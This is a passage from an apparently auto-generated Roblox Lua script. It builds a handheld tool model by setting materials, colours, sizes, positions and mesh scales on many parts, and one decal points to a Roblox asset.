  2583. Part185.CFrame = CFrame.new(27.1588135, 1.12915003, 139.942932, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2584. Part185.BottomSurface = Enum.SurfaceType.Smooth
  2585. Part185.TopSurface = Enum.SurfaceType.Smooth
  2586. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2587. Part185.Position = Vector3.new(27.1588135, 1.12915003, 139.942932)
  2588. Part185.Orientation = Vector3.new(0, -90.5400009, 0)
  2589. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2590. BlockMesh186.Parent = Part185
  2591. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2592. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2593. Part187.Parent = Tool0
  2594. Part187.Material = Enum.Material.SmoothPlastic
  2595. Part187.BrickColor = BrickColor.new("Black")
  2596. Part187.Rotation = Vector3.new(-180, -89.4599991, -180)
  2597. Part187.Anchored = true
  2598. Part187.FormFactor = Enum.FormFactor.Custom
  2599. Part187.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
  2600. Part187.CFrame = CFrame.new(26.9967041, 1.12915003, 139.941467, -0.00939130783, 4.38506476e-08, -0.999955893, 1.50212571e-08, 0.999995947, 4.37110863e-08, 0.99995172, -1.46100732e-08, -0.00939150155)
  2601. Part187.BottomSurface = Enum.SurfaceType.Smooth
  2602. Part187.TopSurface = Enum.SurfaceType.Smooth
  2603. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2604. Part187.Position = Vector3.new(26.9967041, 1.12915003, 139.941467)
  2605. Part187.Orientation = Vector3.new(0, -90.5400009, 0)
  2606. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2607. BlockMesh188.Parent = Part187
  2608. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2609. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2610. Part189.Parent = Tool0
  2611. Part189.Material = Enum.Material.SmoothPlastic
  2612. Part189.BrickColor = BrickColor.new("Black")
  2613. Part189.Rotation = Vector3.new(0, -0.539999962, 0)
  2614. Part189.Anchored = true
  2615. Part189.FormFactor = Enum.FormFactor.Custom
  2616. Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2617. Part189.CFrame = CFrame.new(27.1602783, 1.12915003, 139.747681, 0.999955893, 4.38506476e-08, -0.00939130783, -4.37110863e-08, 0.999995947, 1.50212571e-08, 0.00939150155, -1.46100732e-08, 0.99995172)
  2618. Part189.BottomSurface = Enum.SurfaceType.Smooth
  2619. Part189.TopSurface = Enum.SurfaceType.Smooth
  2620. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2621. Part189.Position = Vector3.new(27.1602783, 1.12915003, 139.747681)
  2622. Part189.Orientation = Vector3.new(0, -0.539999962, 0)
  2623. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2624. SpecialMesh190.Parent = Part189
  2625. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2626. SpecialMesh190.MeshType = Enum.MeshType.Wedge
  2627. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2628. Part191.Parent = Tool0
  2629. Part191.Material = Enum.Material.SmoothPlastic
  2630. Part191.BrickColor = BrickColor.new("Black")
  2631. Part191.Rotation = Vector3.new(-180, -89.4599991, -150)
  2632. Part191.Anchored = true
  2633. Part191.FormFactor = Enum.FormFactor.Custom
  2634. Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2635. Part191.CFrame = CFrame.new(27.0799561, 1.04418898, 139.736389, -0.00813286006, 0.00469568372, -0.999955893, 0.500007272, 0.866015971, 4.37111254e-08, 0.865977407, -0.499985069, -0.00939150155)
  2636. Part191.BottomSurface = Enum.SurfaceType.Smooth
  2637. Part191.TopSurface = Enum.SurfaceType.Smooth
  2638. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2639. Part191.Position = Vector3.new(27.0799561, 1.04418898, 139.736389)
  2640. Part191.Orientation = Vector3.new(0, -90.5400009, 30)
  2641. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2642. BlockMesh192.Parent = Part191
  2643. BlockMesh192.Offset = Vector3.new(0.0299999993, 0.00374999992, 0)
  2644. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2645. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2646. Part193.Parent = Tool0
  2647. Part193.Material = Enum.Material.SmoothPlastic
  2648. Part193.BrickColor = BrickColor.new("Really black")
  2649. Part193.Rotation = Vector3.new(0, 89.4599991, -90)
  2650. Part193.Anchored = true
  2651. Part193.FormFactor = Enum.FormFactor.Custom
  2652. Part193.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2653. Part193.CFrame = CFrame.new(27.3004169, 1.39013696, 140.196228, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2654. Part193.BottomSurface = Enum.SurfaceType.Smooth
  2655. Part193.TopSurface = Enum.SurfaceType.Smooth
  2656. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2657. Part193.Position = Vector3.new(27.3004169, 1.39013696, 140.196228)
  2658. Part193.Orientation = Vector3.new(0, 89.4599991, -90)
  2659. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2660. CylinderMesh194.Parent = Part193
  2661. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2662. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2663. Part195.Parent = Tool0
  2664. Part195.Material = Enum.Material.SmoothPlastic
  2665. Part195.BrickColor = BrickColor.new("Black")
  2666. Part195.Rotation = Vector3.new(-180, 0.539999962, 90)
  2667. Part195.Anchored = true
  2668. Part195.FormFactor = Enum.FormFactor.Custom
  2669. Part195.Size = Vector3.new(0.371999979, 0.200000003, 0.449999988)
  2670. Part195.CFrame = CFrame.new(27.3028564, 1.26708996, 139.914368, -4.35706298e-08, -0.999955893, 0.00939145684, -0.99999994, 4.37113812e-08, 1.4781123e-08, -1.51909649e-08, -0.00939150155, -0.999955773)
  2671. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2672. Part195.TopSurface = Enum.SurfaceType.Smooth
  2673. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2674. Part195.Position = Vector3.new(27.3028564, 1.26708996, 139.914368)
  2675. Part195.Orientation = Vector3.new(0, 179.459991, -90)
  2676. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2677. BlockMesh196.Parent = Part195
  2678. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2679. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2680. Part197.Parent = Tool0
  2681. Part197.Material = Enum.Material.SmoothPlastic
  2682. Part197.BrickColor = BrickColor.new("Black")
  2683. Part197.Rotation = Vector3.new(0, 89.4599991, -90)
  2684. Part197.Anchored = true
  2685. Part197.FormFactor = Enum.FormFactor.Custom
  2686. Part197.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2687. Part197.CFrame = CFrame.new(27.3007813, 1.39013696, 140.166199, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2688. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2689. Part197.TopSurface = Enum.SurfaceType.Smooth
  2690. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2691. Part197.Position = Vector3.new(27.3007813, 1.39013696, 140.166199)
  2692. Part197.Orientation = Vector3.new(0, 89.4599991, -90)
  2693. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2694. CylinderMesh198.Parent = Part197
  2695. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2696. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2697. Part199.Parent = Tool0
  2698. Part199.Material = Enum.Material.SmoothPlastic
  2699. Part199.BrickColor = BrickColor.new("Black")
  2700. Part199.Rotation = Vector3.new(0, 89.4599991, -90)
  2701. Part199.Anchored = true
  2702. Part199.FormFactor = Enum.FormFactor.Custom
  2703. Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2704. Part199.CFrame = CFrame.new(27.3005371, 1.15014601, 140.148193, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2705. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2706. Part199.TopSurface = Enum.SurfaceType.Smooth
  2707. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2708. Part199.Position = Vector3.new(27.3005371, 1.15014601, 140.148193)
  2709. Part199.Orientation = Vector3.new(0, 89.4599991, -90)
  2710. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2711. CylinderMesh200.Parent = Part199
  2712. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2713. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2714. Part201.Parent = Tool0
  2715. Part201.Material = Enum.Material.SmoothPlastic
  2716. Part201.BrickColor = BrickColor.new("Black")
  2717. Part201.Rotation = Vector3.new(0, 89.4599991, -90)
  2718. Part201.Anchored = true
  2719. Part201.FormFactor = Enum.FormFactor.Custom
  2720. Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2721. Part201.CFrame = CFrame.new(27.3052979, 1.38427699, 139.680054, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2722. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2723. Part201.TopSurface = Enum.SurfaceType.Smooth
  2724. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2725. Part201.Position = Vector3.new(27.3052979, 1.38427699, 139.680054)
  2726. Part201.Orientation = Vector3.new(0, 89.4599991, -90)
  2727. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2728. Decal202.Parent = Part201
  2729. Decal202.Texture = "http://www.roblox.com/asset/?id=65628034"
  2730. Decal202.Face = Enum.NormalId.Bottom
  2731. CylinderMesh203.Parent = Part201
  2732. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2733. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2734. Part204.Parent = Tool0
  2735. Part204.Material = Enum.Material.SmoothPlastic
  2736. Part204.BrickColor = BrickColor.new("Black")
  2737. Part204.Reflectance = 0.050000000745058
  2738. Part204.Rotation = Vector3.new(0, 89.4599991, -180)
  2739. Part204.Anchored = true
  2740. Part204.FormFactor = Enum.FormFactor.Custom
  2741. Part204.Size = Vector3.new(0.209999993, 0.396000028, 0.200000003)
  2742. Part204.CFrame = CFrame.new(27.0994873, 1.12011695, 137.605225, -0.00939130783, 4.48289548e-08, 0.999955833, -1.19209247e-07, -0.999999404, 4.37113883e-08, 0.999954998, -1.18793444e-07, 0.00939165056)
  2743. Part204.BottomSurface = Enum.SurfaceType.Smooth
  2744. Part204.TopSurface = Enum.SurfaceType.Smooth
  2745. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2746. Part204.Position = Vector3.new(27.0994873, 1.12011695, 137.605225)
  2747. Part204.Orientation = Vector3.new(0, 89.4599991, -180)
  2748. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2749. CylinderMesh205.Parent = Part204
  2750. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2751. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2752. Part206.Parent = Tool0
  2753. Part206.Material = Enum.Material.SmoothPlastic
  2754. Part206.BrickColor = BrickColor.new("Black")
  2755. Part206.Reflectance = 0.050000000745058
  2756. Part206.Rotation = Vector3.new(-180, 0.539999962, 0)
  2757. Part206.Anchored = true
  2758. Part206.FormFactor = Enum.FormFactor.Custom
  2759. Part206.Size = Vector3.new(0.200000003, 0.209999993, 0.200000003)
  2760. Part206.CFrame = CFrame.new(27.1021729, 0.943114996, 137.335159, 0.999955833, 0, 0.00939165056, 0, -1, 0, 0.00939165056, 0, -0.999955833)
  2761. Part206.BottomSurface = Enum.SurfaceType.Smooth
  2762. Part206.TopSurface = Enum.SurfaceType.Smooth
  2763. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2764. Part206.Position = Vector3.new(27.1021729, 0.943114996, 137.335159)
  2765. Part206.Orientation = Vector3.new(0, 179.459991, 180)
  2766. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2767. SpecialMesh207.Parent = Part206
  2768. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2769. SpecialMesh207.MeshType = Enum.MeshType.Wedge
  2770. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2771. Part208.Parent = Tool0
  2772. Part208.Material = Enum.Material.SmoothPlastic
  2773. Part208.BrickColor = BrickColor.new("Black")
  2774. Part208.Reflectance = 0.050000000745058
  2775. Part208.Rotation = Vector3.new(-102.919998, 1.46999991, 173.62999)
  2776. Part208.Anchored = true
  2777. Part208.FormFactor = Enum.FormFactor.Custom
  2778. Part208.Size = Vector3.new(0.200000003, 0.252000004, 0.200000003)
  2779. Part208.CFrame = CFrame.new(27.1033936, 0.812255979, 137.199951, -0.99349612, -0.110945165, 0.0256136917, -3.66314552e-08, 0.22495088, 0.974369586, -0.113863662, 0.968032122, -0.223487809)
  2780. Part208.BottomSurface = Enum.SurfaceType.Smooth
  2781. Part208.TopSurface = Enum.SurfaceType.Smooth
  2782. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2783. Part208.Position = Vector3.new(27.1033936, 0.812255979, 137.199951)
  2784. Part208.Orientation = Vector3.new(-77, 173.459991, 0)
  2785. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2786. SpecialMesh209.Parent = Part208
  2787. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2788. SpecialMesh209.MeshType = Enum.MeshType.Wedge
  2789. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2790. Part210.Parent = Tool0
  2791. Part210.Material = Enum.Material.SmoothPlastic
  2792. Part210.BrickColor = BrickColor.new("Brick yellow")
  2793. Part210.Reflectance = 0.050000000745058
  2794. Part210.Rotation = Vector3.new(180, -89.4599991, -90)
  2795. Part210.Anchored = true
  2796. Part210.FormFactor = Enum.FormFactor.Custom
  2797. Part210.Size = Vector3.new(0.200000003, 0.972000062, 0.270000011)
  2798. Part210.CFrame = CFrame.new(27.1000977, 1.24316394, 137.539001, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  2799. Part210.BottomSurface = Enum.SurfaceType.Smooth
  2800. Part210.TopSurface = Enum.SurfaceType.Smooth
  2801. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2802. Part210.Position = Vector3.new(27.1000977, 1.24316394, 137.539001)
  2803. Part210.Orientation = Vector3.new(0, -90.5400009, 90)
  2804. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2805. CylinderMesh211.Parent = Part210
  2806. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2807. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2808. Part212.Parent = Tool0
  2809. Part212.Material = Enum.Material.SmoothPlastic
  2810. Part212.BrickColor = BrickColor.new("Brick yellow")
  2811. Part212.Reflectance = 0.050000000745058
  2812. Part212.Rotation = Vector3.new(-180, 0.539999962, 180)
  2813. Part212.Anchored = true
  2814. Part212.FormFactor = Enum.FormFactor.Custom
  2815. Part212.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2816. Part212.CFrame = CFrame.new(27.1049805, 0.982177973, 137.038269, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2817. Part212.BottomSurface = Enum.SurfaceType.Smooth
  2818. Part212.TopSurface = Enum.SurfaceType.Smooth
  2819. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2820. Part212.Position = Vector3.new(27.1049805, 0.982177973, 137.038269)
  2821. Part212.Orientation = Vector3.new(0, 179.459991, 0)
  2822. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2823. BlockMesh213.Parent = Part212
  2824. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2825. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2826. Part214.Parent = Tool0
  2827. Part214.Material = Enum.Material.SmoothPlastic
  2828. Part214.BrickColor = BrickColor.new("Black")
  2829. Part214.Reflectance = 0.050000000745058
  2830. Part214.Rotation = Vector3.new(-180, 0.539999962, 180)
  2831. Part214.Anchored = true
  2832. Part214.FormFactor = Enum.FormFactor.Custom
  2833. Part214.Size = Vector3.new(0.200000003, 0.216000006, 0.200000003)
  2834. Part214.CFrame = CFrame.new(27.104126, 0.940186024, 137.125427, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2835. Part214.BottomSurface = Enum.SurfaceType.Smooth
  2836. Part214.TopSurface = Enum.SurfaceType.Smooth
  2837. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2838. Part214.Position = Vector3.new(27.104126, 0.940186024, 137.125427)
  2839. Part214.Orientation = Vector3.new(0, 179.459991, 0)
  2840. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2841. BlockMesh215.Parent = Part214
  2842. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2843. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2844. Part216.Parent = Tool0
  2845. Part216.Material = Enum.Material.SmoothPlastic
  2846. Part216.BrickColor = BrickColor.new("Brick yellow")
  2847. Part216.Reflectance = 0.050000000745058
  2848. Part216.Rotation = Vector3.new(180, -89.4599991, -90)
  2849. Part216.Anchored = true
  2850. Part216.FormFactor = Enum.FormFactor.Custom
  2851. Part216.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2852. Part216.CFrame = CFrame.new(27.1051025, 0.727294981, 137.041504, -4.398931e-08, 0.00939130783, -0.999955833, 0.999999404, 2.98023117e-08, -4.37113883e-08, 2.93904776e-08, -0.999954998, -0.00939165056)
  2853. Part216.BottomSurface = Enum.SurfaceType.Smooth
  2854. Part216.TopSurface = Enum.SurfaceType.Smooth
  2855. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2856. Part216.Position = Vector3.new(27.1051025, 0.727294981, 137.041504)
  2857. Part216.Orientation = Vector3.new(0, -90.5400009, 90)
  2858. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2859. CylinderMesh217.Parent = Part216
  2860. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2861. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2862. Part218.Parent = Tool0
  2863. Part218.Material = Enum.Material.SmoothPlastic
  2864. Part218.BrickColor = BrickColor.new("Black")
  2865. Part218.Reflectance = 0.050000000745058
  2866. Part218.Rotation = Vector3.new(135, 0.379999995, -179.619995)
  2867. Part218.Anchored = true
  2868. Part218.FormFactor = Enum.FormFactor.Custom
  2869. Part218.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2870. Part218.CFrame = CFrame.new(27.1015625, 0.95214802, 137.403931, -0.999955833, 0.0066408813, 0.0066409111, -4.37113883e-08, 0.707106292, -0.707106292, -0.00939165056, -0.707075179, -0.707075119)
  2871. Part218.BottomSurface = Enum.SurfaceType.Smooth
  2872. Part218.TopSurface = Enum.SurfaceType.Smooth
  2873. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2874. Part218.Position = Vector3.new(27.1015625, 0.95214802, 137.403931)
  2875. Part218.Orientation = Vector3.new(45, 179.459991, 0)
  2876. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2877. BlockMesh219.Parent = Part218
  2878. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2879. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2880. Part220.Parent = Tool0
  2881. Part220.Material = Enum.Material.SmoothPlastic
  2882. Part220.BrickColor = BrickColor.new("Black")
  2883. Part220.Reflectance = 0.050000000745058
  2884. Part220.Rotation = Vector3.new(-180, 0.539999962, 180)
  2885. Part220.Anchored = true
  2886. Part220.FormFactor = Enum.FormFactor.Custom
  2887. Part220.Size = Vector3.new(0.200000003, 0.200000003, 0.720000029)
  2888. Part220.CFrame = CFrame.new(27.1015625, 1.06909204, 137.4104, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2889. Part220.BottomSurface = Enum.SurfaceType.Smooth
  2890. Part220.TopSurface = Enum.SurfaceType.Smooth
  2891. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2892. Part220.Position = Vector3.new(27.1015625, 1.06909204, 137.4104)
  2893. Part220.Orientation = Vector3.new(0, 179.459991, 0)
  2894. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2895. BlockMesh221.Parent = Part220
  2896. BlockMesh221.Offset = Vector3.new(0, 0, 0.00300000003)
  2897. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2898. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2899. Part222.Parent = Tool0
  2900. Part222.Material = Enum.Material.SmoothPlastic
  2901. Part222.BrickColor = BrickColor.new("Black")
  2902. Part222.Reflectance = 0.050000000745058
  2903. Part222.Rotation = Vector3.new(-180, 0.539999962, 180)
  2904. Part222.Anchored = true
  2905. Part222.FormFactor = Enum.FormFactor.Custom
  2906. Part222.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2907. Part222.CFrame = CFrame.new(27.0994873, 1.04223597, 137.620071, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2908. Part222.BottomSurface = Enum.SurfaceType.Smooth
  2909. Part222.TopSurface = Enum.SurfaceType.Smooth
  2910. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2911. Part222.Position = Vector3.new(27.0994873, 1.04223597, 137.620071)
  2912. Part222.Orientation = Vector3.new(0, 179.459991, 0)
  2913. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2914. BlockMesh223.Parent = Part222
  2915. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2916. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2917. Part224.Parent = Tool0
  2918. Part224.Material = Enum.Material.SmoothPlastic
  2919. Part224.BrickColor = BrickColor.new("Black")
  2920. Part224.Reflectance = 0.050000000745058
  2921. Part224.Rotation = Vector3.new(180, 0.539999962, 180)
  2922. Part224.Anchored = true
  2923. Part224.FormFactor = Enum.FormFactor.Custom
  2924. Part224.Size = Vector3.new(0.200000003, 0.200000003, 0.540000021)
  2925. Part224.CFrame = CFrame.new(27.1009521, 1.10815406, 137.500504, -0.999955297, -4.35694645e-08, 0.00939142704, -4.37113741e-08, 0.999999106, -1.49011612e-08, -0.00939147174, -1.53110111e-08, -0.99995476)
  2926. Part224.BottomSurface = Enum.SurfaceType.Smooth
  2927. Part224.TopSurface = Enum.SurfaceType.Smooth
  2928. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2929. Part224.Position = Vector3.new(27.1009521, 1.10815406, 137.500504)
  2930. Part224.Orientation = Vector3.new(0, 179.459991, 0)
  2931. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2932. BlockMesh225.Parent = Part224
  2933. BlockMesh225.Offset = Vector3.new(0, 0, 0.00300000003)
  2934. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2935. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2936. Part226.Parent = Tool0
  2937. Part226.Material = Enum.Material.SmoothPlastic
  2938. Part226.BrickColor = BrickColor.new("Brick yellow")
  2939. Part226.Reflectance = 0.050000000745058
  2940. Part226.Rotation = Vector3.new(0, 89.4599991, -180)
  2941. Part226.Anchored = true
  2942. Part226.FormFactor = Enum.FormFactor.Custom
  2943. Part226.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2944. Part226.CFrame = CFrame.new(26.9997559, 0.982177973, 137.037064, -0.00939130783, 4.398931e-08, 0.999955833, -2.98023117e-08, -0.999999404, 4.37113883e-08, 0.999954998, -2.93904776e-08, 0.00939165056)
  2945. Part226.BottomSurface = Enum.SurfaceType.Smooth
  2946. Part226.TopSurface = Enum.SurfaceType.Smooth
  2947. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2948. Part226.Position = Vector3.new(26.9997559, 0.982177973, 137.037064)
  2949. Part226.Orientation = Vector3.new(0, 89.4599991, -180)
  2950. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2951. SpecialMesh227.Parent = Part226
  2952. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2953. SpecialMesh227.MeshType = Enum.MeshType.Wedge
  2954. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  2955. Part228.Parent = Tool0
  2956. Part228.Material = Enum.Material.SmoothPlastic
  2957. Part228.BrickColor = BrickColor.new("Black")
  2958. Part228.Reflectance = 0.050000000745058
  2959. Part228.Rotation = Vector3.new(-90, 0, 179.459991)
  2960. Part228.Anchored = true
  2961. Part228.FormFactor = Enum.FormFactor.Custom
  2962. Part228.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  2963. Part228.CFrame = CFrame.new(27.0190411, 1.24609399, 139.761414, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  2964. Part228.BottomSurface = Enum.SurfaceType.Smooth
  2965. Part228.TopSurface = Enum.SurfaceType.Smooth
  2966. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2967. Part228.Position = Vector3.new(27.0190411, 1.24609399, 139.761414)
  2968. Part228.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  2969. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2970. CylinderMesh229.Parent = Part228
  2971. CylinderMesh229.Offset = Vector3.new(0, -0.00239999988, 0)
  2972. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  2973. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  2974. Part230.Parent = Tool0
  2975. Part230.Material = Enum.Material.SmoothPlastic
  2976. Part230.BrickColor = BrickColor.new("Brick yellow")
  2977. Part230.Rotation = Vector3.new(-180, 0.539999962, -180)
  2978. Part230.Anchored = true
  2979. Part230.FormFactor = Enum.FormFactor.Custom
  2980. Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
  2981. Part230.CFrame = CFrame.new(26.8995361, 1.26122999, 139.760315, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  2982. Part230.BottomSurface = Enum.SurfaceType.Smooth
  2983. Part230.TopSurface = Enum.SurfaceType.Smooth
  2984. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2985. Part230.Position = Vector3.new(26.8995361, 1.26122999, 139.760315)
  2986. Part230.Orientation = Vector3.new(0, 179.459991, 0)
  2987. Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2988. BlockMesh231.Parent = Part230
  2989. BlockMesh231.Offset = Vector3.new(-0.0149999997, 0, 0)
  2990. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  2991. BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  2992. Part232.Parent = Tool0
  2993. Part232.Material = Enum.Material.SmoothPlastic
  2994. Part232.BrickColor = BrickColor.new("Brick yellow")
  2995. Part232.Reflectance = 0.050000000745058
  2996. Part232.Rotation = Vector3.new(180, -89.4599991, 0)
  2997. Part232.Anchored = true
  2998. Part232.FormFactor = Enum.FormFactor.Custom
  2999. Part232.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  3000. Part232.CFrame = CFrame.new(27.2097168, 0.988281012, 137.039001, 0.00939130783, 4.398931e-08, -0.999955833, 2.98023117e-08, -0.999999404, -4.37113883e-08, -0.999954998, -2.93904776e-08, -0.00939165056)
  3001. Part232.BottomSurface = Enum.SurfaceType.Smooth
  3002. Part232.TopSurface = Enum.SurfaceType.Smooth
  3003. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3004. Part232.Position = Vector3.new(27.2097168, 0.988281012, 137.039001)
  3005. Part232.Orientation = Vector3.new(0, -90.5400009, 180)
  3006. Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3007. SpecialMesh233.Parent = Part232
